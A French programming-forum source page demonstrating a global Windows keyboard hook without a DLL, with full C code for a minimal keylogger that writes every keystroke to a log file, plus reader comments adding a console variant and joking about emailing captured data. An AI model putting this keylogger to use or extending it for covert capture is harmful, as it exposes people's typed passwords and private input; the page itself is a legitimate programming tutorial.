begin process at 2008 05 17 06:24:52
1 173 917 membres
49 nouveaux aujourd'hui
13 973 membres club

Vous ne trouvez pas de réponse à votre problème ? Alors posez la question dans le forum.
Souvenez-vous qu'il n'y a jamais de question bête, mais rester dans l'ignorance parce que l'on n'ose pas poser une question, ça c'est une erreur !

HOOK GLOBAL SANS DLL


Information sur la source

Catégorie :API Classé sous : hook, global, sans, dll Niveau : Débutant Date de création : 30/10/2004 Vu / téléchargé: 13 469 / 1 928

Note :
9,53 / 10 - par 17 personnes
9,53 / 10

  • 1

  • 2

  • 3

  • 4

  • 5

  • 6

  • 7

  • 8

  • 9

  • 10

Commentaire sur cette source (60)
Ajouter un commentaire et/ou une note

Description

Salut tout le monde,
Je pensais toujours qu'une DLL externe est indispensable pour réaliser un hook global. C'est d'ailleurs ce qui est précisé dans Microsoft MSDN. Or ce petit code source montre combien c'est facile de mettre la fonction du hook dans le même exécutable. Il s'agit ici d'un hook clavier permettant de faire un petit keylogger. Ce dernier est reduit au minimum. A vous de l'améliorer selon vos besoins. Ce code est testé sur Windows 2000 et fonctionne même en mode utilisateur. Il devrait fonctionner aussi sur XP.

Source

  • // Ce code fonctionne sur Windows 2000, XP, ou NT4 SP3 et supérieur
  • #define _WIN32_WINNT 0x0400
  • #include <windows.h>
  • HHOOK hHook; // Handle du hook global
  • HINSTANCE hExe; // Handle de notre exécutable
  • // Fonction de gestion du hook
  • __declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)
  • {
  • if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
  • {
  • // Structure de récupération d'infos sur la touche tapée
  • KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
  • // Obtenir la lettre de la touche tapée
  • char lettre=(char)hookstruct.vkCode;
  • // Compteur des octets écrits pour WriteFile()
  • DWORD Ecrits;
  • // Ouverture du fichier log. Le créer s'il n'existe pas.
  • HANDLE hFichier = CreateFile("C:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  • // Si le handle retourné est valide alors
  • if( hFichier != INVALID_HANDLE_VALUE)
  • {
  • // Mettre le pointeur du fichier à la fin
  • SetFilePointer(hFichier,NULL,NULL,FILE_END);
  • // Ecrire la lettre dans le fihier log
  • WriteFile(hFichier,&lettre,1,&Ecrits,NULL);
  • // Fermer le fichier
  • CloseHandle(hFichier);
  • }
  • }
  • // Renvoi des messages au sytème pour permettre d'autres hooks
  • return CallNextHookEx(hHook, nCode, wParam, lParam);
  • }
  • //Fonction de la boite de dialogue
  • BOOL CALLBACK MainDlgProc( HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam )
  • {
  • static HWND hBouton;//Handle du bouton
  • static int etat;// Flag d'état du hook
  • switch( msg )
  • {
  • case WM_CLOSE: // Clic sur la croix de fermeture
  • // Fermeture de la boite de dialogue
  • EndDialog( hDlg, TRUE );
  • return 1;
  • case WM_INITDIALOG: //Initialisation de la boite de dialogue
  • // Création du bouton Activer/Désactiver
  • hBouton = CreateWindow("BUTTON", "Activer le hook", WS_CHILD | WS_VISIBLE , 50, 35,140, 30, hDlg, 0, 0, 0);
  • // Obtenir le HANDLE de l'exécutable en cours
  • hExe = GetModuleHandle(NULL);
  • // Mettre le flag d'état à 0= Hook inactif
  • etat=0;
  • // Fin d'initialisation
  • return 1;
  • case WM_COMMAND: // Appui sur le bouton
  • if( lParam == (long) hBouton)
  • {
  • if (!etat)//Si hook inactif alors
  • {
  • // Activer le hook
  • hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, NULL);
  • //Mettre le flag d'etat à 1 (actif)
  • etat=1;
  • // Changer le texte du bouton
  • SetWindowText(hBouton,"Désactiver le hook");
  • }
  • else //Si hook actif alors
  • {
  • // Désactiver le hook
  • UnhookWindowsHookEx(hHook);
  • // Mettre le flag d'état à 0 (inactif)
  • etat=0;
  • // Changer le texte du bouton
  • SetWindowText(hBouton,"Activer le hook");
  • }
  • break;
  • }
  • }
  • return 0;
  • }
  • //Fonction principale: Création d'une boite de dialogue sans ressources
  • int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
  • {
  • // Allouer de la mem pour notre dialog template
  • LPDLGTEMPLATE lpdt = ( LPDLGTEMPLATE) GlobalAlloc(GPTR, 512);
  • if (!lpdt) return 1;
  • // Définir les propriétés de la boite de dialogue
  • lpdt->style = WS_POPUP | WS_BORDER |WS_MINIMIZEBOX| WS_SYSMENU | DS_MODALFRAME | WS_CAPTION;
  • lpdt->x = 100; lpdt->y = 100; lpdt->cx = 120; lpdt->cy = 50;
  • // Obtenir pointeur sur la zone du nom de la boite de dialogue
  • LPWSTR lpnom=(LPWSTR) (lpdt+1)+2;
  • // Convertir le nom en UNICODE et le mettre dans la zone nom
  • MultiByteToWideChar (CP_ACP, 0, "Hook Global Sans DLL", -1, lpnom, 128);
  • // Lancer la boite de dialogue
  • DialogBoxIndirect(hInstance,lpdt,NULL,(DLGPROC)MainDlgProc);
  • // Libérer la mémoire allouée puis quitter
  • GlobalFree((HGLOBAL) lpdt);
  • return( FALSE );
  • }
// Ce code  fonctionne sur Windows 2000, XP, ou NT4 SP3 et supérieur
#define _WIN32_WINNT 0x0400

#include <windows.h>

HHOOK hHook;    // Handle du hook global
HINSTANCE hExe; // Handle de notre exécutable

// Fonction de gestion du hook 
__declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode,  WPARAM wParam,  LPARAM lParam) 
{
    if  ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
	{
        // Structure de récupération d'infos sur la touche tapée
        KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);

        // Obtenir la lettre de la touche tapée 
		char lettre=(char)hookstruct.vkCode;

        // Compteur des octets écrits pour WriteFile()
        DWORD Ecrits;

		// Ouverture du fichier log. Le créer s'il n'existe pas.
		HANDLE	hFichier = CreateFile("C:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        
		// Si le handle retourné est valide alors
		if( hFichier != INVALID_HANDLE_VALUE)
		{ 
         // Mettre le pointeur du fichier à la fin
		 SetFilePointer(hFichier,NULL,NULL,FILE_END);

		 // Ecrire la lettre dans le fihier log
		 WriteFile(hFichier,&lettre,1,&Ecrits,NULL);

		 // Fermer le fichier
	     CloseHandle(hFichier);
		}
	}
   // Renvoi des messages au sytème pour permettre d'autres hooks
   return CallNextHookEx(hHook, nCode, wParam, lParam);

}

//Fonction de la boite de dialogue
BOOL CALLBACK  MainDlgProc( HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam )
{
    static HWND hBouton;//Handle du bouton
	static int etat;// Flag d'état du hook

	switch( msg )
	{   
     
     case WM_CLOSE: // Clic sur la croix de fermeture

        // Fermeture de la boite de dialogue
        EndDialog( hDlg, TRUE );
		return 1;

     case WM_INITDIALOG: //Initialisation de la boite de dialogue

	    // Création du bouton Activer/Désactiver
	    hBouton = CreateWindow("BUTTON", "Activer le hook", WS_CHILD | WS_VISIBLE , 50, 35,140, 30, hDlg, 0, 0, 0);
           
		// Obtenir le HANDLE de l'exécutable en cours
		hExe = GetModuleHandle(NULL);

		// Mettre le flag d'état à 0= Hook inactif
		etat=0;

		// Fin d'initialisation
		return 1;

     case WM_COMMAND: // Appui sur le bouton
	    if( lParam == (long) hBouton)
		{
		 if (!etat)//Si hook inactif alors 
		 {
          // Activer le hook
		  hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, NULL);
	    
		  //Mettre le flag d'etat à 1 (actif)
		  etat=1;

		  // Changer le texte du bouton
		  SetWindowText(hBouton,"Désactiver le hook");
		 }

	  	else //Si hook actif alors 
		{
         // Désactiver le hook
         UnhookWindowsHookEx(hHook);

         // Mettre le flag d'état à 0 (inactif)
		 etat=0;

		 // Changer le texte du bouton
         SetWindowText(hBouton,"Activer le hook");
		}
		break;
	   }
	   
	}
   return 0;
}


//Fonction principale: Création d'une boite de dialogue sans ressources
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
{
    
    // Allouer de la mem pour notre dialog template
	LPDLGTEMPLATE lpdt = ( LPDLGTEMPLATE) GlobalAlloc(GPTR, 512); 
    if (!lpdt) return 1;

    // Définir les propriétés de la boite de dialogue
    lpdt->style = WS_POPUP | WS_BORDER |WS_MINIMIZEBOX| WS_SYSMENU | DS_MODALFRAME | WS_CAPTION; 
    lpdt->x  = 100;	lpdt->y  = 100;	lpdt->cx = 120; lpdt->cy = 50; 
  
    // Obtenir pointeur sur la zone du nom de la boite de dialogue
    LPWSTR lpnom=(LPWSTR) (lpdt+1)+2;

	// Convertir le nom en UNICODE et le mettre dans la zone nom
	MultiByteToWideChar (CP_ACP, 0, "Hook Global Sans DLL", -1, lpnom, 128);
    
    // Lancer la boite de dialogue
	DialogBoxIndirect(hInstance,lpdt,NULL,(DLGPROC)MainDlgProc);

	// Libérer la mémoire allouée puis quitter
    GlobalFree((HGLOBAL) lpdt); 
    return( FALSE );
}

Conclusion

Vos questions, remarques ou suggestions sont les bienvenues.
Pour les "Membres Club", vous pouvez télécharger directement un fichier contenu dans le zip sans télécharger le zip en entier !

Télécharger le zip

  • signaler à un administrateur
    Commentaire de Nebula le 30/10/2004 03:55:16

    Pas bête le coup de l'export de fonction directement dans l'exécutable, bien vu ! ;-)

  • signaler à un administrateur
    Commentaire de aardman le 30/10/2004 03:56:17

    Salut,
    Pas mal, c'est astucieux en tout cas..

  • signaler à un administrateur
    Commentaire de LordBob le 30/10/2004 10:47:15

    c'est pas idiot... ca peut toujours servir!

  • signaler à un administrateur
    Commentaire de Urgo le 30/10/2004 17:43:04

    Ceci je connaissais depuis peu, ça m'avait bien servi pour un des mes programmes ;)

  • signaler à un administrateur
    Commentaire de racpp le 30/10/2004 18:58:59 administrateur CS

    Merci pour vos commentaires.
    C'est vrai que ça peut servir car d'habitude il fallait créer deux projets distincts, celui de la DLL et celui de l'EXE. Ce que j'avais toujours trouvé un peu abérrant. Ce que je ne comprends pas c'est pourquoi Microsoft insiste sur l'emploi de la DLL externe et ne dit pas le moindre mot sur une autre alternative possible. A t-elle peur des Hookers?

  • signaler à un administrateur
    Commentaire de srtg1 le 30/10/2004 20:19:01

    manque la distinction Maj / Min , l'evenement WM_SYSKEYDOWN et c parfait :-) ...

  • signaler à un administrateur
    Commentaire de racpp le 30/10/2004 20:28:15 administrateur CS

    srtg1 >> Oui je sais, je disais dans l'introduction que le keylogger est reduit au minimum. Le but de ce source est de montrer comment faire un hook global sans dll. Le keylogger n'est là que pour prouver le bon fonctionnement du code. Tu peux le perfectionner comme bon te semble.  :) Merci pour la remarque.

  • signaler à un administrateur
    Commentaire de srtg1 le 30/10/2004 20:32:59

    Ouai cool une fct de recup d'adresse Email & d'envoie et on a gagner le gros lot ... :-)

  • signaler à un administrateur
    Commentaire de sibi12 le 31/10/2004 11:21:56

    racpp >>

    "Ce que je ne comprends pas c'est pourquoi Microsoft insiste sur l'emploi de la DLL externe et ne dit pas le moindre mot sur une autre alternative possible. A t-elle peur des Hookers?"

    ta ta ta ta ta...chhuuuuuuttttt !!! En cherchant d'un peu plus près :

    http://msdn.microsoft.com/msdnmag/issues/0700/Win32/toc.asp

    C'est vrai que dans la masse de la MSDN fallait aller la degotter mais bon...  C'est on ne peux plus clair come code. (Telecharge le .exe)

    ;-)

    Ce code m'avait servi pour un programme il y a peut aussi.

  • signaler à un administrateur
    Commentaire de racpp le 31/10/2004 13:35:38 administrateur CS

    Salut,
    sibi12 >> En effet, je viens de compiler le source exemple et ça marche. Franchement, je ne savais pas que cela existait (Merci).  L'auteur de l'exemple (Jeffrey Richter) ne fait aucune allusion à une DLL. On peut dire qu'il est en train de contredire Microsoft. Car dans ses pages sur les hooks, ils sont formels: Pas de hook global sans DLL externe:
    http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/WinUI/WindowsUserInterface/Windowing/Hooks.asp

    Cela prouve que microsoft nous cache beaucoup de choses. C'est une raison de plus pour ne pas lui faire toujours confiance. Voulant faire un hook glogal sans dll, j'ai cherché partout en vain. Tout le monde dit qu'une DLL externe est indispensable. Puisque le handle d'une DLL et d'un EXE sont pareils, je me suis dit que si on exporte une fonction de l'EXE, la fonction SetWindowsHookEx() pourrait l'accepter. Ca a marché. En réalité, en regardant le source de Jeffrey Richter, on s'aperçoit qu'on n'a même pas besoin de l'exporter. Pourquoi Microsoft nous a-t-elle menti? :)

  • signaler à un administrateur
    Commentaire de sibi12 le 31/10/2004 15:14:02

    Je ne savais pas que microsoft avait prétendu ça... "You must place a global hook procedure in a dynamic-link library (DLL) separate from the application installing the hook procedure."

    "Must" signifie bien l'obligation...C'est assez etonnant qu'il fournisse un contre exemple !!!

  • signaler à un administrateur
    Commentaire de Urgo le 31/10/2004 17:07:54

    "Cela prouve que microsoft nous cache beaucoup de choses."

    LOL sans commentaire...

  • signaler à un administrateur
    Commentaire de Nikoscian le 31/10/2004 22:14:02

    Merci beaucoup! Avec les DLL les hooks ne fonctionnent pas chez moi (compilateur Dev-c++) le code se compile correctement mais impossible de créer le hook à l'exécution du programme.
    Là je compile le code source et miracle ça marche!!!

  • signaler à un administrateur
    Commentaire de NikatorS le 01/11/2004 21:04:15

    C'est une découverte qui me plait vraiment. j'ai toujours trouver énervent de devoir créer une DLL.

    Merci!!

  • signaler à un administrateur
    Commentaire de basted le 01/11/2004 21:47:37

    Il me semblais bien deja avoir essayé un truc comme ca en vain, merci pour l'example!

  • signaler à un administrateur
    Commentaire de eRoZion le 04/11/2004 10:22:26

    Très bon à savoir, ca fonctionne parfaitement chez moi.
    Merci.


    eRoZion

  • signaler à un administrateur
    Commentaire de sirozz le 18/12/2004 21:11:33

    Effectivement, ça marche avec WH_KEYBOARD_LL et WH_MOUSE_LL mais avec les autres types de messages, ya rien à faire ! j'ai tout essayé.
    Si Microsoft recommande l'ustilisation d'une DLL c'est (à vérifier) que les messages traités par les DLL sont prioritaires sur les hooks traités par les exe. Je cherche quand même une solution pour faire un exe capable de faire un hook sur les autres type de message mais sans DLL, si vous avez une solution je suis preneur. (peut-être une solution à la trojan-style avec une DLL en embed dans le programme, je sais pas si c'est possible). Merci quand même pour ta source Racpp.

  • signaler à un administrateur
    Commentaire de BruNews le 18/12/2004 22:11:01 administrateur CS

    MS n'aurait-il pas menti alors ?

  • signaler à un administrateur
    Commentaire de scelw le 25/05/2005 11:04:31

    Comment étendre la gestion des caractères alphabétiques aux caractères numériques et spéciaux?? (je suis confronté à un problème de types de variables...)

  • signaler à un administrateur
    Commentaire de racpp le 11/06/2005 15:57:23 administrateur CS

    scelw >> Explique ton problème un peu plus stp.

  • signaler à un administrateur
    Commentaire de scelw le 12/06/2005 12:07:30

    oui, je vais expliquer un peu plus en détail :
    actuellement, ton keylogger n'enregistre que les caractères alphabétiques (a, b, c, d, ..., y, z) et non les chiffres (0, 1, 2, 3, ..., 8, 9). Or j'aimerais savoir comment faire pour changer ça et permettre au keylogger d'enregistrer AUSSI les chiffres.
    Et pourquoi pas les caractères spéciaux (&, é, ", {, ..., %, $) tant qu'on y est...

    Le problème vient de cette ligne (je crois) :

            // Obtenir la lettre de la touche tapée
            char lettre=(char)hookstruct.vkCode;

    ici, la variable "lettre" est de type "char", donc elle ne peut contenir que des caractères alphabétiques. C'est ce qui limite le keylogger.
    Selon moi, il faudrait ajouter à cela une structure conditionnelle pour déterminer si la valeur renvoyée par hookstruct.vkCode est supérieur à un certain nombre (et dans ce cas ça veut dire qu'il s'agit de chiffres) ou inférieure (et dans ce cas, ce sont des lettres de l'alphabet). Mais je n'arrive pas à coder ça...

    Scel W

  • signaler à un administrateur
    Commentaire de Filipe35 le 14/06/2005 16:20:22

    Bravo  racpp , très bonne source !

    J'ai essayé de l'adapter au Delphi, voici ce que ca donne:

    procedure TForm1.ActiverClick(Sender: TObject);
    begin
    // Cpp:  hHook      = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe    , NULL );
    // Del:  HookHandle:= SetWindowsHookEx( WH_KEYBOARD   ,HookActionCallBack  ,HInstance, 0    );
    SetWindowsHookEx( WH_KEYBOARD , HookActionCallBack , HInstance , 0 );
    end;



    function HookActionCallBack(Code: integer; MSG: WPARAM; KeyHook: LPARAM):LRESULT; stdcall;
    {cette fonction reçoit tous les messages détournés}
    begin
      messageBeep(1);
      Result:=CallNextHookEx(hHook,Code,Msg,KeyHook);
      //afin que le message continue à se propager
    end;


    procedure TForm1.FormDestroy(Sender: TObject);
    begin
    UnhookWindowsHookEx(hHook);
    end;

    Mais hélas ca ne marche pas comme il faudrait.
    C'est nikel quand on tape dans notre application mais les autres, ca marche plus ( 0 beep => désactivé ?)

    Alors j'aimerais savoir qu'est ce qui fait que ton code marche...

    Merci

    Bonne prog à tous

    Filipe

    PS: erreur dans la page j'éspère que je n'ai pas posté en double

  • signaler à un administrateur
    Commentaire de Filipe35 le 15/06/2005 15:23:04

    ah désolé pour le double post....

    je tiens à préciser aussi:

    J'ai remarqué dans W32dasm dans export fonction : "?HookProc@@YGJHIJ@Z"
    J'ai fait de même avec un export de Delphi:
    exports HookActionCallBack; // (HookActionCallBack apparait dans les exports de w32dasm)

    mais ca ne corrige rien au problème....

    Filipe

  • signaler à un administrateur
    Commentaire de racpp le 04/07/2005 16:17:28 administrateur CS

    Salut,
    scelw >> Comme précisé dans la présentation de ce code, le keylogger est réduit au strict minimum. hookstruct.vkCode est un DWORD. Il est vrai que pour certaines touches, il contient le code du caractère pour clavier américain. Il faut donc le convertir en code pour caractère français.

    Filipe35 >> Désolé, j'ai jamais travaillé sur Delphi.

  • signaler à un administrateur
    Commentaire de Filipe35 le 05/07/2005 12:27:27

    Arf... oki merci comme même, mais personne n'a une idée

    je sais pas keske veut dire ceci (par ex):

    __declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)

    Merci

    Filipe

  • signaler à un administrateur
    Commentaire de racpp le 10/07/2005 19:37:11 administrateur CS

    Salut,
    Filipe35 >> Pour bien comprendre tout ça, il faut laisser Delphi de côté pendant quelque temps pour apprendre les bases de la programmation Windows en C/C++.
    __declspec(dllexport) : Permet à une fonction d'être exportée d'une DLL.
    LRESULT : Type de valeur de retour de la fonction.
    CALLBACK : Une fonction de ce type intercepte les messages système.
    HookProc : Nom de la fonction.
    ( int nCode, WPARAM wParam, LPARAM lParam) : Paramètres d'entrée de la fonction (appelée par le système).

  • signaler à un administrateur
    Commentaire de BruNews le 10/07/2005 19:54:05 administrateur CS

    Juste une précision:
    CALLBACK n'est qu'un alias de __stdcall (fonction dépile les params) et donc ne définit que la convention d'appel.

  • signaler à un administrateur
    Commentaire de Filipe35 le 11/07/2005 12:35:24

    Merci beaucoup j'espère que je vais y arriver :p

    Bonne prog à tous

    Filipe

  • signaler à un administrateur
    Commentaire de racpp le 12/07/2005 07:14:19 administrateur CS

    BruNews >> Merci pour la précision. En effet, CALLBACK équivaut à __stdcall, comme WINAPI. En plus de définir la convention d'appel (__stdcall), ça sert aussi à nous préciser qu'il s'agit d'une fonction de type "callback". Précision utile seulement pour la conception et la lecture du code source.

  • signaler à un administrateur
    Commentaire de Paulo44 le 24/07/2005 14:09:36

    Il y a quand même un truc bizarre avec ce principe : il me semblait que normalment windows appellait la fonction du hook dans le contexte (espace d'adresses) de l'exécutable qui reçois le message clavier intercepté. Donc le problème, c'est que dans ce cas les variables globales de l'exécutable seront mappées à chaque fois, comme avec une dll, et ici hHook=0 dans le hook... En plus niveau performances c'est pas super si il y a plein de globales...
    Enfin j'ai peut être mal compris quelque chose...

  • signaler à un administrateur
    Commentaire de albert0 le 17/09/2005 19:02:49

    en gros on remplasse:

    BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, PVOID fImpLoad) {

    par
    __declspec(dllexport) LRESULT CALLBACK XXXX ( int nCode, WPARAM wParam, LPARAM lParam)

    ?

  • signaler à un administrateur
    Commentaire de victorcoasne le 26/10/2005 22:20:26

    Bonjour,

    J'ai une question :
    Pq ça ne fonctionne que sur les PC Win2000 ou plus et pas 98 ou 95 ou 3.1 ?
    Est-ce qu'avec une dll ça fonctionne ?
    Comment on pourrait faire pour que ça fonctionne ?

    Bon d'accord ça fait trois questions mais bon on est pas à ça près !

  • signaler à un administrateur
    Commentaire de BlackGoddess le 26/10/2005 22:30:03

    je vois pas d'url s'afficher je comprends pas ? expliquez mois svp !!!

  • signaler à un administrateur
    Commentaire de BlackGoddess le 26/10/2005 22:30:35

    blague a part, jolie source, en effet il fallait y penser :)

  • signaler à un administrateur
    Commentaire de victorcoasne le 26/10/2005 22:33:07

    BlackGoddess tu me suis à la trace ou il te faut un screeshoot ?

  • signaler à un administrateur
    Commentaire de BlackGoddess le 26/10/2005 22:36:24

    la luminosité de tes interventions me frappe l'oeil, d'ou ma venue !

  • signaler à un administrateur
    Commentaire de victorcoasne le 26/10/2005 22:38:27

    Je savais bien que j'avais un trojan dans mon ordi !
    lol

    En attendant ma(es) question(s) reste sans réponse !

  • signaler à un administrateur
    Commentaire de BlackGoddess le 26/10/2005 22:42:15

    WH_KEYBOARD_LL ne fonctionne que sur Windows NT/2000/XP

    http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp

    c'est donc indépendant de l'utilisation d'une dll, et ca fonctionne pas sur win95/98 sans parler de win3.1 ...

  • signaler à un administrateur
    Commentaire de victorcoasne le 26/10/2005 23:34:24

    Ok mais il y a pas moyen de contourner ?

  • signaler à un administrateur
    Commentaire de Paulo44 le 27/10/2005 16:03:40

    Evidemment que non on peut pas contourner, puisqu'avec les windows 9x c'est pas prévu par l'api...
    Donc si tu veux faire un hook (ce qui est relativement inutile à par pour faire un keylogger) tu utilises WH_KEYBOARD et une dll, c tout

  • signaler à un administrateur
    Commentaire de sman0 le 31/10/2005 18:34:39

    joli exemple
    bravo :p

  • signaler à un administrateur
    Commentaire de wallegen le 17/04/2006 02:12:49

    J'aimerais le tester mais en console

    // Ce code  fonctionne sur Windows 2000, XP, ou NT4 SP3 et supérieur
    #define _WIN32_WINNT 0x0400

    #include <windows.h>

    HHOOK hHook;    // Handle du hook global
    HINSTANCE hExe; // Handle de notre exécutable

    // Fonction de gestion du hook
    __declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode,  WPARAM wParam,  LPARAM lParam)
    {
        if  ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
    {
            // Structure de récupération d'infos sur la touche tapée
            KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);

            // Obtenir la lettre de la touche tapée
    char lettre=(char)hookstruct.vkCode;

            // Compteur des octets écrits pour WriteFile()
            DWORD Ecrits;

    // Ouverture du fichier log. Le créer s'il n'existe pas.
    HANDLE hFichier = CreateFile("C:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
            
    // Si le handle retourné est valide alors
    if( hFichier != INVALID_HANDLE_VALUE)
    {
             // Mettre le pointeur du fichier à la fin
    SetFilePointer(hFichier,0,NULL,FILE_END);

    // Ecrire la lettre dans le fihier log
    WriteFile(hFichier,&lettre,1,&Ecrits,NULL);

    // Fermer le fichier
         CloseHandle(hFichier);
    }
    }
       // Renvoi des messages au sytème pour permettre d'autres hooks
       return CallNextHookEx(hHook, nCode, wParam, lParam);

    }







    //Fonction principale: Création d'une boite de dialogue sans ressources
    int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
    {
        
            
            hExe = hInstance;
            hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, 0);
        system("pause");
            UnhookWindowsHookEx(hHook);
        
        return 0;
    }

    mais ça ne fonctionne pas ou est mon erreur?

  • signaler à un administrateur
    Commentaire de demz le 21/04/2006 13:09:56

    J'aimerai bien savoir aussi...

  • signaler à un administrateur
    Commentaire de racpp le 24/04/2006 05:36:51 administrateur CS

    Salut,
    L'erreur est que, tout simplement, ton programme ne contient pas de boucle de récupération des messages Windows pour cette application. C'est indispensable pour le hook. J'aimerais préciser aussi que le code que tu nous soumets ici ne correspond pas à une application console mais plutôt à une application Win32 sans fenêtre. Pour les boites de dialogue, on n'a pas besoin de boucle de messages.
    Voici la fonction main corrigée et testée:
    int main ()
    {      
        hExe = GetModuleHandle(0);
        hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, 0);
        MSG message;
        while (GetMessage(&message,NULL,0,0))
        {
            TranslateMessage( &message );
    DispatchMessage( &message );
        }
        UnhookWindowsHookEx(hHook);
        return 0;
    }

    N'oublie pas de créer un vrai projet console.
    Bonne chance.

  • signaler à un administrateur
    Commentaire de baby3378 le 28/04/2006 17:09:19

    je me demandais aussi comment cela pourrait marcher en mode consol, puisque la fonction hook est censsé êter permanente par conséquent ...
    Quand même c'est super bien

  • signaler à un administrateur
    Commentaire de rcyril le 11/10/2006 12:58:30

    Salut, sympa ce code

    Cela permet de récupérer les caractères saisis depuis n'importe quel fenetre mais comment faire pour récupérer la saisie que sur une seule fenetre (notepad par exemple) ?

    Merci.

  • signaler à un administrateur
    Commentaire de jean84 le 30/10/2006 21:54:44

    Salut !
    Je suis pas tres bon pour tout ce qui est api win32 donc je me permet de poser quelques questions :
    "// Fonction de gestion du hook
    __declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)"
    Je comprend pas a quoi sert le __declspec(dllexport) ? Est-ce que ce code permet de hooker tout le systeme ou seulement le programme appellant  (un peu comme les autres hook en gros...) ?
    Que faudrait-il modifier pour pouvoir hooker une dll ??

    Je ne demande evidement pas de code tout fait mais seulement des liens ou des indices pouvant m'aiguiller dans mes recherches (compression des hooks, utilisation et mise en place, ect ...)

    Merci par avance ;-)

    @++

  • signaler à un administrateur
    Commentaire de jean84 le 30/10/2006 21:56:26

    Heu .. petit bug dans "[...]compression des hook[...]" ! Faut lire en fait comprehension (pardon pour la faute de syntaxe ^^

    @++

  • signaler à un administrateur
    Commentaire de BruNews le 30/10/2006 22:32:32 administrateur CS

    Dans l'exemple de la source, c'est un hook global sur le clavier. Aurait fonctionné idem pour la souris sans DLL car souris et clavier sont 2 "ressources" globales du système. Pour tout autre type de hook, il faudrait une dll pour que le système la mappe dans les divers processus concernés.

    Quelques exemples globaux en dll:
    HOOK SYSTEM SUR WM_MOUSEWHEEL (WIN32)
    http://www.cppfrance.com/code.aspx?ID=25998
    DLL HOOK EN RESSOURCE BINAIRE DU PROG (WIN32)
    http://www.cppfrance.com/code.aspx?id=25450
    HOOK F11 SUR IE (WIN32)
    http://www.cppfrance.com/code.aspx?id=18202
    HOOK CLAVIER
    http://www.cppfrance.com/code.aspx?id=17818
    LIMITE LE NBR DE FENETRES IE V2 (WIN32)
    http://www.cppfrance.com/code.aspx?id=17387
    LIMITE LE NBR DE FENETRES INTERNET EXPLORER (WIN32)
    http://www.cppfrance.com/code.aspx?id=11059
    NO TASK MANAGER (WIN32)
    http://www.cppfrance.com/code.aspx?id=11186
    HOOK DE ENTER SUR DIALOGBOX (WIN32)
    http://www.cppfrance.com/code.aspx?id=11007
    HOOK SUR FENETRE (WIN32)
    http://www.cppfrance.com/code.aspx?id=10997
    AJOUTER UN MENU A NOTEPAD (WIN32)
    http://www.cppfrance.com/code.aspx?ID=28181

  • signaler à un administrateur
    Commentaire de jean84 le 31/10/2006 18:37:52

    Merci de ta reponse BruNews !
    Mais j'ai encore quelques questions :
    - j'avais dans l'idee de concevoir un parfeu (rien de bien mechant. Surtout l'etude des trames en fait). J'ai lu qu'il etait indispensable d'utiliser un hook (par contre je connais pas trop la dll a hooker). Disons qu'en fait je fais les demarches afin de me renseigner et de juger a la fin si je le fais ou pas.... Aurais-tu des infos la dessus (ou une petite idee) ?
    - a quoi correspond  __declspec(dllexport) ? Je l'ai deja vu dans un source d'une dll mais je comprend pas quel est l'interet de le mettre dans un programme directement...

    Merci !!

  • signaler à un administrateur
    Commentaire de racpp le 01/11/2006 12:31:58 administrateur CS

    Salut,
    __declspec(dllexport) sert à exporter une fonction d'une DLL. Ca doit donc figurer dans le code source de cette DLL. Je l'ai laissé dans ce code source car j'étais en train de faire des tests et je pensais que c'était indispensable. Finalement, je me suis apperçu qu'on peut s'en passer et écrire la fonction de hook directement.

  • signaler à un administrateur
    Commentaire de jean84 le 01/11/2006 22:52:36

    Ah oki je comprend mieux merci ;-)
    Au fait, faut il que le programme ai le focus pour hooker ou pas ? Je comprend pas trop l'utilisation des hooks...

  • signaler à un administrateur
    Commentaire de racpp le 05/11/2006 12:58:09 administrateur CS

    Pas besoin d'avoir le focus.

  • signaler à un administrateur
    Commentaire de babaslow le 08/04/2007 05:43:29

    Bonsoir,

    Tout nouveau tout blaireau, j'ai installé ya tout juste 4 heures Visual C++ 2005 Express en suivant ce tuto :
    http://arb.developpez.com/vc++/express/?page=installation

    Me suis dit "tiens je vais faire un essai avec un code simple" et je suis tombé sur celui-là (marrant, un keylogger)

    J'installe le tout et je lance HookSansDLL.dsp puis direct générer\généré HookSansDLL et là patatra :

    ------ Début de la génération : Projet : HookSansDLL, Configuration : Debug Win32 ------
    Compilation en cours...
    HookSansDLL.cpp
    Compilation du manifeste en ressources en cours...
    Édition des liens en cours...
